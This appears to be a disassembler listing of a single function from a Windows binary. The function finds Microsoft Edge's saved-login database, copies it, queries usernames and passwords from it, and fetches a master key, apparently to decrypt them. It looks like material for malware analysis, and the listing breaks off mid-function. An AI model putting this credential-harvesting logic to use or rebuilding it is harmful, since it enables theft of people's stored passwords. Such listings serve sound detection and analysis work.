Function at 0x40ac60
Capabilities:
Check if file exists
Copy file
Delete file
Encode data using base64 via winapi
Encrypt data using dpapi
Get common file path
Get file attributes
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x1228
call fcn.004c2cd0
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x1224], eax
xor eax, eax
mov dword [esp + 0x48], ecx
push esi
push edi
xorps xmm0, xmm0
mov dword [esp + 0x34], eax
push 0x104
push eax
mov dword [esp + 0x20], eax
xor esi, esi
mov dword [esp + 0xc8], eax
mov edi, edx
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x28], eax
lea eax, [esp + 0xe8]
movlpd qword [esp + 0x60], xmm0
push eax
mov dword [esp + 0x84], esi
movaps xmmword [esp + 0xac], xmm0
movaps xmmword [esp + 0xbc], xmm0
movlpd qword [esp + 0x88], xmm0
movlpd qword [esp + 0x94], xmm0
movlpd qword [esp + 0x9c], xmm0
movlpd qword [esp + 0x64], xmm0
call fcn.004ad600
add esp, 0xc
mov dword [esp + 0x54], esi
mov dword [esp + 0x48], esi
push str.___Getting_New_Edge_info
push 3
call fcn.00408d60
mov ecx, str.Current
test edi, edi
mov eax, str.Input_user
cmove eax, ecx
push eax
push str.Checking_profile__s
push 3
call fcn.00408d60
add esp, 0x14
lea eax, [esp + 0xe0]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40ad5c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_getting_work_path:0x_X
jmp 0x40c72d
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
test eax, eax
je 0x40c721
push ecx
lea ecx, [esp + 0xe4]
call fcn.00401010
test eax, eax
js 0x40c721
lea eax, [esp + 0x1e8]
test edi, edi
je 0x40adb4
push edi
push str._sAppDataRoaming
push 0x820
push eax
call fcn.004010a0
add esp, 0x10
test eax, eax
jns 0x40adcf
mov esi, str.Cannot_determine_app_data_folder:0x_X
jmp 0x40aea7
push 0
push 0x1a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x40adcf
mov esi, str.Cannot_find_app_data_folder:0x_X
jmp 0x40aea7
lea eax, [esp + 0x1e8]
push eax
push str._sMicrosoftEdgeUser_DataDefaultLogin_Data
lea eax, [esp + 0xa10]
push 0x820
push eax
call fcn.004010a0
add esp, 0x10
test eax, eax
jns 0x40adff
mov esi, str.Cannot_find_file_on_remote_profile:0x_X
jmp 0x40aea7
lea eax, [esp + 0xa08]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40ae59
lea eax, [esp + 0x1e8]
push eax
push str._s..LocalMicrosoftEdgeUser_DataDefaultLogin_Data
lea eax, [esp + 0xa10]
push 0x820
push eax
call fcn.004010a0
add esp, 0x10
test eax, eax
jns 0x40ae3f
mov esi, str.Cannot_find_file_on_local_profile:0x_X
jmp 0x40aea7
lea eax, [esp + 0xa08]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x40ae59
mov esi, str.Error_finding_the_database_file:0x_X
jmp 0x40aea7
lea eax, [esp + 0xe0]
push eax
push 0x4c9f6c
lea eax, [esp + 0x1f0]
push 0x820
push eax
call fcn.004010a0
add esp, 0x10
test eax, eax
jns 0x40ae86
mov esi, str.Error_preparing_the_dest_file_name:0x_X
jmp 0x40aea7
push 0
lea eax, [esp + 0x1ec]
push eax
lea eax, [esp + 0xa10]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x40aecf
mov esi, str.Error_copying_the_file_name:0x_X
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push 1
call fcn.00408d60
add esp, 0xc
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x1224]
xor ecx, esp
call fcn.004ac4d4
mov esp, ebp
pop ebp
ret
push 0
push 6
lea edx, [esp + 0x20]
lea ecx, [esp + 0xe8]
call fcn.004aa170
add esp, 8
test eax, eax
je 0x40b039
mov edi, dword [esp + 0x18]
mov dword [esp + 0x34], edi
test edi, edi
jne 0x40af14
mov eax, dword [str.out_of_memory]
mov edi, str.unknown_error
test eax, eax
cmovne edi, eax
push edi
push str.sqlite3_open_fails_:__S_r_n
jmp 0x40c72d
mov eax, dword [edi + 0x58]
cmp eax, 0x4b771290
je 0x40af78
cmp eax, 0xa029a697
je 0x40af78
cmp eax, 0xf03b7906
je 0x40af78
push str.invalid
push str.API_call_with__s_database_connection_pointer
push 0x15
call fcn.00412760
add esp, 0xc
push 0x4d6ad4
push 0x23366
push str.misuse
push str._s_at_line__d_of___.10s_
push 0x15
call fcn.00412760
mov eax, dword [str.bad_parameter_or_other_API_misuse]
add esp, 0x14
test eax, eax
mov edi, str.unknown_error
cmovne edi, eax
push edi
push str.sqlite3_open_fails_:__S_r_n
jmp 0x40c72d
mov ecx, dword [edi + 0xc]
test ecx, ecx
je 0x40af8c
push ecx
call dword [0x4d9af4]
mov ecx, dword [edi + 0xc]
add esp, 4
cmp byte [edi + 0x49], 0
je 0x40afa3
mov eax, dword [str.out_of_memory]
mov edi, str.unknown_error
test eax, eax
cmovne edi, eax
jmp 0x40b020
mov edi, dword [edi + 0xf8]
test edi, edi
jne 0x40afb3
mov eax, dword [esp + 0x34]
jmp 0x40aff5
movzx edx, word [edi + 8]
mov eax, edx
and eax, 0x202
cmp eax, 0x202
jne 0x40afd4
cmp byte [edi + 0xa], 1
jne 0x40afd4
mov edi, dword [edi + 0x10]
mov eax, dword [esp + 0x34]
jmp 0x40aff1
test dl, 1
je 0x40afdf
mov eax, dword [esp + 0x34]
jmp 0x40aff5
mov dl, 1
mov ecx, edi
call fcn.00433b00
mov edi, eax
mov eax, dword [esp + 0x34]
mov ecx, dword [eax + 0xc]
test edi, edi
jne 0x40b020
mov eax, dword [eax + 0x38]
mov edi, str.unknown_error
cmp eax, 0x204
je 0x40b01b
movzx eax, al
cmp eax, 0x1b
jae 0x40b020
mov eax, dword [eax*4 + 0x4cda30]
test eax, eax
je 0x40b020
mov edi, eax
jmp 0x40b020
mov edi, str.abort_due_to_ROLLBACK
test ecx, ecx
je 0x40b02e
push ecx
call dword [0x4d9afc]
add esp, 4
push edi
push str.sqlite3_open_fails_:__S_r_n
jmp 0x40c72d
mov esi, dword [esp + 0x18]
lea eax, [esp + 0x78]
push 0
push eax
push 0
push 0x80
push 0x96
mov edx, str.SELECT_signon_realm__username_value__password_value__date_created__date_last_used__times_used__blacklisted_by_user_FROM_logins_ORDER_BY_username_value
mov dword [esp + 0x48], esi
mov ecx, esi
call fcn.0047b460
add esp, 0x14
test eax, eax
je 0x40b1b0
test esi, esi
jne 0x40b083
mov eax, dword [str.out_of_memory]
mov esi, str.unknown_error
test eax, eax
cmovne esi, eax
jmp 0x40b197
mov eax, dword [esi + 0x58]
cmp eax, 0x4b771290
je 0x40b0e1
cmp eax, 0xa029a697
je 0x40b0e1
cmp eax, 0xf03b7906
je 0x40b0e1
push str.invalid
push str.API_call_with__s_database_connection_pointer
push 0x15
call fcn.00412760
add esp, 0xc
push 0x4d6ad4
push 0x23366
push str.misuse
push str._s_at_line__d_of___.10s_
push 0x15
call fcn.00412760
mov eax, dword [str.bad_parameter_or_other_API_misuse]
add esp, 0x14
test eax, eax
mov esi, str.unknown_error
cmovne esi, eax
jmp 0x40b197
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x40b0f5
push ecx
call dword [0x4d9af4]
mov ecx, dword [esi + 0xc]
add esp, 4
cmp byte [esi + 0x49], 0
je 0x40b10c
mov eax, dword [str.out_of_memory]
mov esi, str.unknown_error
test eax, eax
cmovne esi, eax
jmp 0x40b189
mov esi, dword [esi + 0xf8]
test esi, esi
jne 0x40b11c
mov eax, dword [esp + 0x34]
jmp 0x40b15e
movzx edx, word [esi + 8]
mov eax, edx
and eax, 0x202
cmp eax, 0x202
jne 0x40b13d
cmp byte [esi + 0xa], 1
jne 0x40b13d
mov esi, dword [esi + 0x10]
mov eax, dword [esp + 0x34]
jmp 0x40b15a
test dl, 1
je 0x40b148
mov eax, dword [esp + 0x34]
jmp 0x40b15e
mov dl, 1
mov ecx, esi
call fcn.00433b00
mov esi, eax
mov eax, dword [esp + 0x34]
mov ecx, dword [eax + 0xc]
test esi, esi
jne 0x40b189
mov eax, dword [eax + 0x38]
mov esi, str.unknown_error
cmp eax, 0x204
je 0x40b184
movzx eax, al
cmp eax, 0x1b
jae 0x40b189
mov eax, dword [eax*4 + 0x4cda30]
test eax, eax
je 0x40b189
mov esi, eax
jmp 0x40b189
mov esi, str.abort_due_to_ROLLBACK
test ecx, ecx
je 0x40b197
push ecx
call dword [0x4d9afc]
add esp, 4
push esi
push str.sqlite3_prepare_fails_:__S
push 1
call fcn.00408d60
mov esi, dword [esp + 0x84]
jmp 0x40c734
lea edx, [esp + 0x90]
mov ecx, edi
call fcn.0040a740
test eax, eax
jne 0x40b1d1
push str.Cannot_get_the_master_key
push 1
call fcn.00408d60
add esp, 8
mov esi, dword [esp + 0x78]
mov dword [esp + 0x2c], esi
nop dword [eax]
mov dword [esp + 0x18], 0
test esi, esi
je 0x40c648
cmp dword [esi], 0
jne 0x40b20b
push str.API_called_with_finalized_prepared_statement
push 0x15
call fcn.00412760
add esp, 8
mov eax, 1
jmp 0x40b20d
xor eax, eax
test eax, eax
jne 0x40c657
mov eax, dword [esi]
mov dword [esp + 0x10], eax
mov eax, dword [eax + 0xc]
test eax, eax
je 0x40b22c
push eax
call dword [0x4d9af4]
add esp, 4
and dword [esi + 0x94], 0xfffffffd
mov ecx, esi
call fcn.0043ace0
mov edi, eax
cmp edi, 0x11
jne 0x40b588
mov ecx, dword [esp + 0x18]
mov eax, ecx
inc ecx
mov dword [esp + 0x18], ecx
cmp eax, 0x32
jge 0x40b588
mov eax, dword [esi + 0x24]
lea ecx, [esp + 0x4c]
mov edi, dword [esi]
mov edx, dword [esi + 0xbc]
push 0
push ecx
mov dword [esp + 0x80], eax
mov ecx, edi
movzx eax, byte [esi + 0x90]
push esi
push eax
push 0xffffffffffffffff
call fcn.0047b460
mov ecx, eax
add esp, 0x14
mov dword [esp + 0x14], ecx
test ecx, ecx
jne 0x40b3a5
mov esi, dword [esp + 0x4c]
lea edi, [esp + 0x1e8]
mov ecx, 0x38
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x2c]
mov ecx, 0x38
mov edi, dword [esp + 0x4c]
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x2c]
lea esi, [esp + 0x1e8]
mov ecx, 0x38
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x2c]
mov edx, esi
mov edi, dword [esp + 0x4c]
mov eax, dword [esi + 8]
mov ecx, dword [edi + 8]
mov dword [edi + 8], eax
mov eax, dword [esi + 4]
mov dword [esi + 8], ecx
mov ecx, dword [edi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 0xbc]
mov dword [esi + 4], ecx
mov ecx, dword [edi + 0xbc]
mov dword [edi + 0xbc], eax
mov dword [esi + 0xbc], ecx
mov ecx, edi
mov eax, dword [edi + 0xd0]
mov dword [esi + 0xd0], eax
mov al, byte [edi + 0x90]
mov byte [esi + 0x90], al
movups xmm0, xmmword [edi + 0xa0]
movups xmmword [esi + 0xa0], xmm0
movq xmm0, qword [edi + 0xb0]
movq qword [esi + 0xb0], xmm0
mov eax, dword [edi + 0xb8]
mov dword [esi + 0xb8], eax
inc dword [esi + 0xb4]
call fcn.0043ce50
mov dword [edi + 0x28], 0
mov eax, dword [edi + 0x14]
cmp eax, 0x2df20da3
je 0x40b369
cmp eax, 0x319c2973
jne 0x40b370
mov ecx, edi
call fcn.00437690
mov ecx, edi
call fcn.00437c60
push esi
call fcn.00439fb0
add esp, 4
cmp dword [esp + 0x78], 0
jl 0x40b38e
or dword [esi + 0x94], 2
mov ecx, esi
call fcn.0043ace0
mov edi, eax
cmp edi, 0x11
je 0x40b245
jmp 0x40b588
cmp ecx, 7
jne 0x40b3d3
cmp byte [edi + 0x49], 0
jne 0x40b3d3
cmp byte [edi + 0x4a], 0
jne 0x40b3d3
cmp dword [edi + 0xac], 0
mov byte [edi + 0x49], 1
jle 0x40b3cd
mov dword [edi + 0x100], 1
inc dword [edi + 0x108]
mov eax, dword [esp + 0x10]
mov edi, dword [eax + 0xf8]
test edi, edi
jne 0x40b3e7
mov dword [esp + 0x38], edi
jmp 0x40b42c
movzx edx, word [edi + 8]
mov eax, edx
and eax, 0x202
cmp eax, 0x202
jne 0x40b408
cmp byte [edi + 0xa], 1
jne 0x40b408
mov edx, dword [edi + 0x10]
mov dword [esp + 0x38], edx
jmp 0x40b428
test dl, 1
je 0x40b417
mov dword [esp + 0x38], 0
jmp 0x40b428
mov dl, 1
mov ecx, edi
call fcn.00433b00
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x10]
mov edi, dword [esi + 0x6c]
test edi, edi
je 0x40b475
cmp dword [eax + 0x1d0], 0
je 0x40b44f
mov edx, edi
mov ecx, eax
call fcn.0040ffa0
mov edi, dword [esp + 0x14]
mov dword [esp + 0x14], edi
jmp 0x40b479
cmp edi, dword [eax + 0x128]
jb 0x40b496
cmp edi, dword [eax + 0x12c]
jae 0x40b496
mov eax, dword [eax + 0x124]
mov dword [edi], eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x14], ecx
mov dword [eax + 0x124], edi
mov edi, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
cmp byte [ecx + 0x49], 0
jne 0x40b579
mov eax, dword [esp + 0x38]
test eax, eax
jne 0x40b506
xor edx, edx
jmp 0x40b556
cmp dword [0x4d9a98], 0
je 0x40b4ef
mov eax, dword [0x4defd8]
test eax, eax
je 0x40b4b2
push eax
call dword [0x4d9af4]
add esp, 4
push edi
call dword [0x4d9ad0]
sub dword [0x4dede0], eax
add esp, 4
dec dword [0x4dee04]
push edi
call dword [0x4d9ac8]
mov eax, dword [0x4defd8]
add esp, 4
test eax, eax
je 0x40b4e5
push eax
call dword [0x4d9afc]
add esp, 4
mov edi, dword [esp + 0x14]
mov dword [esp + 0x14], edi
jmp 0x40b479
push edi
call dword [0x4d9ac8]
mov edi, dword [esp + 0x18]
add esp, 4
mov dword [esp + 0x14], edi
jmp 0x40b479
mov ecx, eax
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b510
sub ecx, edx
push 0
lea eax, [ecx + 1]
mov ecx, dword [esp + 0x14]
push eax
mov dword [esp + 0x20], eax
call fcn.00410430
mov edx, eax
add esp, 8
mov dword [esp + 0x78], edx
test edx, edx
je 0x40b552
push dword [esp + 0x18]
mov eax, dword [esp + 0x3c]
push eax
push edx
call fcn.004ae080
mov edx, dword [esp + 0x84]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov dword [esi + 0x6c], edx
cmp byte [ecx + 0x49], 0
jne 0x40b570
cmp edi, 0xc0a
je 0x40b570
mov edi, dword [ecx + 0x3c]
and edi, dword [esp + 0x14]
jmp 0x40b585
call fcn.004108e0
mov edi, eax
jmp 0x40b585
mov dword [esi + 0x6c], 0
mov edi, 7
mov dword [esi + 0x28], edi
mov eax, dword [esp + 0x10]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x40b59d
push eax
call dword [0x4d9afc]
add esp, 4
cmp edi, 0x64
jne 0x40c675
mov ecx, dword [esp + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_LocalFree]
test ecx, ecx
je 0x40b5c5
push ecx
call edi
dec dword [0x4de7b4]
mov dword [esp + 0x24], 0
mov eax, dword [esp + 0x30]
test eax, eax
je 0x40b5de
push eax
call edi
dec dword [0x4de7b4]
mov dword [esp + 0x30], 0
mov edi, dword [esp + 0x20]
test edi, edi
je 0x40b625
mov ecx, edi
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40b5f0
sub ecx, edx
mov eax, edi
sar ecx, 1
add ecx, ecx
je 0x40b610
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x40b605
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
dec dword [0x4de7b4]
mov dword [esp + 0x20], 0
mov edi, dword [esp + 0x28]
test edi, edi
je 0x40b667
mov ecx, edi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40b632
sub ecx, edx
mov eax, edi
sar ecx, 1
add ecx, ecx
je 0x40b652
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x40b647
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
dec dword [0x4de7b4]
mov dword [esp + 0x28], 0
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x40b67a
push eax
call dword [0x4d9af4]
add esp, 4
mov ecx, dword [esi + 0x68]
test ecx, ecx
je 0x40b68c
xor eax, eax
cmp ax, word [esi + 0x8c]
jb 0x40b6a4
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x38], 0x19
call fcn.004131e0
mov ecx, 0x4cf320
movzx edx, word [ecx + 8]
mov eax, edx
and eax, 0x202
cmp eax, 0x202
jne 0x40b6c1
cmp byte [ecx + 0xa], 1
jne 0x40b6c1
mov eax, dword [ecx + 0x10]
jmp 0x40b6d7
test dl, 1
je 0x40b6d0
mov dword [esp + 0x10], 0
jmp 0x40b6db
mov dl, 1
call fcn.00433b00
mov dword [esp + 0x10], eax
mov ecx, dword [esi]
cmp byte [ecx + 0x49], 0
jne 0x40b6f5
mov edx, dword [esi + 0x28]
cmp edx, 0xc0a
je 0x40b6f5
mov eax, dword [ecx + 0x3c]
and eax, edx
jmp 0x40b6fa
call fcn.004108e0
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x40b710
push eax
call dword [0x4d9afc]
add esp, 4
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x40b723
push eax
call dword [0x4d9af4]
add esp, 4
mov ecx, dword [esi + 0x68]
test ecx, ecx
je 0x40b743
mov eax, 1
cmp ax, word [esi + 0x8c]
jae 0x40b743
add ecx, 0x28
jne 0x40b75b
mov dword [esp + 0x14], ecx
jmp 0x40b792
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x38], 0x19
call fcn.004131e0
mov ecx, 0x4cf320
movzx edx, word [ecx + 8]
mov eax, edx
and eax, 0x202
cmp eax, 0x202
jne 0x40b778
cmp byte [ecx + 0xa], 1
jne 0x40b778
mov eax, dword [ecx + 0x10]
jmp 0x40b78e
test dl, 1
je 0x40b787
mov dword [esp + 0x14], 0
jmp 0x40b792
mov dl, 1
call fcn.00433b00
mov dword [esp + 0x14], eax
mov ecx, dword [esi]
cmp byte [ecx + 0x49], 0
jne 0x40b7ac
mov edx, dword [esi + 0x28]
cmp edx, 0xc0a
je 0x40b7ac
mov eax, dword [ecx + 0x3c]
and eax, edx
jmp 0x40b7b1
call fcn.004108e0
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x40b7c7
push eax
call dword [0x4d9afc]
add esp, 4
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x40b7da
push eax
call dword [0x4d9af4]
add esp, 4
mov ecx, dword [esi + 0x68]
test ecx, ecx
je 0x40b7f4
mov eax, 2
cmp ax, word [esi + 0x8c]
jae 0x40b7f4
add ecx, 0x50
jmp 0x40b80c
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x38], 0x19
call fcn.004131e0
mov ecx, 0x4cf320
movzx eax, word [ecx + 8]
test al, 2
je 0x40b81f
cmp byte [ecx + 0xa], 1
jne 0x40b81f
mov edi, dword [ecx + 0xc]
jmp 0x40b848
test al, 0x10
je 0x40b837
mov edx, dword [ecx + 0xc]
test eax, 0x4000
je 0x40b833
mov edi, dword [ecx]
add edi, edx
jmp 0x40b848
mov edi, edx
jmp 0x40b848
test al, 1
je 0x40b83f
xor edi, edi
jmp 0x40b848
mov dl, 1
call fcn.00434260
mov edi, eax
mov ecx, dword [esi]
cmp byte [ecx + 0x49], 0
jne 0x40b862
mov edx, dword [esi + 0x28]
cmp edx, 0xc0a
je 0x40b862
mov eax, dword [ecx + 0x3c]
and eax, edx
jmp 0x40b867
call fcn.004108e0
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x40b87d
push eax
call dword [0x4d9afc]
add esp, 4
mov dword [esp + 0x88], edi
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x40b897
push eax
call dword [0x4d9af4]
add esp, 4
mov eax, dword [esi + 0x68]
test eax, eax
je 0x40b8b1
mov ecx, 2
cmp cx, word [esi + 0x8c]
jae 0x40b8b1
add eax, 0x50
jmp 0x40b8c9
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x38], 0x19
call fcn.004131e0
mov eax, 0x4cf320
push eax
call fcn.0043a110
mov ecx, dword [esi]
add esp, 4
mov edi, eax
cmp byte [ecx + 0x49], 0
jne 0x40b8ee
mov edx, dword [esi + 0x28]
cmp edx, 0xc0a
je 0x40b8ee
mov eax, dword [ecx + 0x3c]
and eax, edx
jmp 0x40b8f3
call fcn.004108e0
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x40b909
push eax
call dword [0x4d9afc]
add esp, 4
mov dword [esp + 0x8c], edi
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x40b923
push eax
call dword [0x4d9af4]
add esp, 4
mov ecx, dword [esi + 0x68]
test ecx, ecx
je 0x40b93d
mov eax, 3
cmp ax, word [esi + 0x8c]
jae 0x40b93d
add ecx, 0x78
jmp 0x40b955
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x38], 0x19
call fcn.004131e0
mov ecx, 0x4cf320
movzx eax, word [ecx + 8]
test al, 4
je 0x40b968
mov edx, dword [ecx + 4]
mov eax, dword [ecx]
mov dword [esp + 0x40], edx
jmp 0x40b99f
test al, 8
je 0x40b97b
movsd xmm0, qword [ecx]
call fcn.004330b0
mov dword [esp + 0x40], edx
jmp 0x40b99f
test al, 0x12
je 0x40b98a
call fcn.004330e0
mov dword [esp + 0x40], edx
jmp 0x40b99f
xorps xmm0, xmm0
movlpd qword [esp + 0x18], xmm0
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x18]
mov ecx, dword [esi]
mov dword [esp + 0x44], eax
cmp byte [ecx + 0x49], 0
jne 0x40b9bd
mov edx, dword [esi + 0x28]
cmp edx, 0xc0a
je 0x40b9bd
mov eax, dword [ecx + 0x3c]
and eax, edx
jmp 0x40b9c2
call fcn.004108e0
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x40b9d8
push eax
call dword [0x4d9afc]
add esp, 4
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x40b9eb
push eax
call dword [0x4d9af4]
add esp, 4
mov ecx, dword [esi + 0x68]
test ecx, ecx
je 0x40ba08
mov eax, 4
cmp ax, word [esi + 0x8c]
jae 0x40ba08
add ecx, 0xa0
jmp 0x40ba20
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x38], 0x19
call fcn.004131e0
mov ecx, 0x4cf320
movzx eax, word [ecx + 8]
test al, 4
je 0x40ba33
mov edx, dword [ecx + 4]
mov eax, dword [ecx]
mov dword [esp + 0x38], edx
jmp 0x40ba6a
test al, 8
je 0x40ba46
movsd xmm0, qword [ecx]
call fcn.004330b0
mov dword [esp + 0x38], edx
jmp 0x40ba6a
test al, 0x12
je 0x40ba55
call fcn.004330e0
mov dword [esp + 0x38], edx
jmp 0x40ba6a
xorps xmm0, xmm0
movlpd qword [esp + 0x18], xmm0
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x18]
mov ecx, dword [esi]
mov dword [esp + 0x3c], eax
cmp byte [ecx + 0x49], 0
jne 0x40ba88
mov edx, dword [esi + 0x28]
cmp edx, 0xc0a
je 0x40ba88
mov eax, dword [ecx + 0x3c]
and eax, edx
jmp 0x40ba8d
call fcn.004108e0
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x40baa3
push eax
call dword [0x4d9afc]
add esp, 4
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x40bab6
push eax
call dword [0x4d9af4]
add esp, 4
mov ecx, dword [esi + 0x68]
test ecx, ecx
je 0x40bad3
mov eax, 5
cmp ax, word [esi + 0x8c]
jae 0x40bad3
add ecx, 0xc8
jmp 0x40baeb
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x38], 0x19
call fcn.004131e0
mov ecx, 0x4cf320
movzx eax, word [ecx + 8]
test al, 4
je 0x40bb02
mov edi, dword [ecx]
mov eax, dword [ecx + 4]
mov dword [esp + 0x78], edi
mov dword [esp + 0x1c], eax
jmp 0x40bb35
test al, 8
je 0x40bb15
movsd xmm0, qword [ecx]
call fcn.004330b0
mov dword [esp + 0x1c], edx
jmp 0x40bb31
test al, 0x12
je 0x40bb24
call fcn.004330e0
mov dword [esp + 0x1c], edx
jmp 0x40bb31
xorps xmm0, xmm0
movlpd qword [esp + 0x18], xmm0
mov eax, dword [esp + 0x18]
mov dword [esp + 0x78], eax
mov ecx, dword [esi]
cmp byte [ecx + 0x49], 0
jne 0x40bb4f
mov edx, dword [esi + 0x28]
cmp edx, 0xc0a
je 0x40bb4f
mov eax, dword [ecx + 0x3c]
and eax, edx
jmp 0x40bb54
call fcn.004108e0
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x40bb6a
push eax
call dword [0x4d9afc]
add esp, 4
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x40bb7d
push eax
call dword [0x4d9af4]
add esp, 4
mov ecx, dword [esi + 0x68]
test ecx, ecx
je 0x40bb9a
mov eax, 6
cmp ax, word [esi + 0x8c]
jae 0x40bb9a
add ecx, 0xf0
jmp 0x40bbb2
mov ecx, dword [esi]
mov edx, 0x19
mov dword [ecx + 0x38], 0x19
call fcn.004131e0
mov ecx, 0x4cf320
movzx eax, word [ecx + 8]
test al, 4
je 0x40bbc1
mov edi, dword [ecx]
mov eax, dword [ecx + 4]
jmp 0x40bbf8
test al, 8
je 0x40bbd6
movsd xmm0, qword [ecx]
call fcn.004330b0
mov edi, eax
mov dword [esp + 0x18], edx
jmp 0x40bbfc
test al, 0x12
je 0x40bbe7
call fcn.004330e0
mov edi, eax
mov dword [esp + 0x18], edx
jmp 0x40bbfc
xorps xmm0, xmm0
movlpd qword [esp + 0x60], xmm0
mov eax, dword [esp + 0x64]
mov edi, dword [esp + 0x60]
mov dword [esp + 0x18], eax
mov ecx, dword [esi]
cmp byte [ecx + 0x49], 0
jne 0x40bc16
mov edx, dword [esi + 0x28]
cmp edx, 0xc0a
je 0x40bc16
mov eax, dword [ecx + 0x3c]
and eax, edx
jmp 0x40bc1b
call fcn.004108e0
mov dword [esi + 0x28], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x40bc31
push eax
call dword [0x4d9afc]
add esp, 4
or edi, dword [esp + 0x18]
je 0x40bc40
inc dword [esp + 0x48]
jmp 0x40b1e0
cmp dword [esp + 0x14], 0
je 0x40c630
cmp dword [esp + 0x8c], 0
je 0x40c630
mov edx, dword [esp + 0x10]
mov edi, edx
inc dword [esp + 0x54]
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x40bc66
sub edi, ecx
mov dword [esp + 0x18], 0
test edx, edx
je 0x40bdd3
lea eax, [edi*2 + 2]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
inc dword [0x4de7b4]
mov edx, eax
mov dword [esp + 0x24], edx
test edx, edx
jne 0x40bcc0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
push eax
push str.Error_allocating_memory:0x_X
push 1
call fcn.00408d60
mov eax, dword [esp + 0x24]
add esp, 0xc
jmp 0x40bdcd
xor ecx, ecx
test edi, edi
je 0x40bdc2
cmp edi, 4
jb 0x40bda6
mov eax, dword [esp + 0x10]
lea edx, [edx + edi*2]
mov esi, dword [esp + 0x2c]
dec eax
add eax, edi
add edx, 0xfffffffe
cmp dword [esp + 0x24], eax
ja 0x40bcf4
cmp edx, dword [esp + 0x10]
jae 0x40bda2
cmp edi, 0x20
jb 0x40bd73
mov edx, dword [esp + 0x10]
mov eax, edi
and eax, 0xffffffe0
add edx, 0x10
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x24]
add eax, 0x20
movq xmm0, qword [edx - 0x10]
lea eax, [eax + 0x40]
punpcklbw xmm0, xmm0
lea edx, [edx + 0x20]
psraw xmm0, 8
add ecx, 0x20
movups xmmword [eax - 0x60], xmm0
movq xmm0, qword [edx - 0x28]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x50], xmm0
movq xmm0, qword [edx - 0x20]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movups xmmword [eax - 0x40], xmm0
movq xmm0, qword [edx - 0x18]
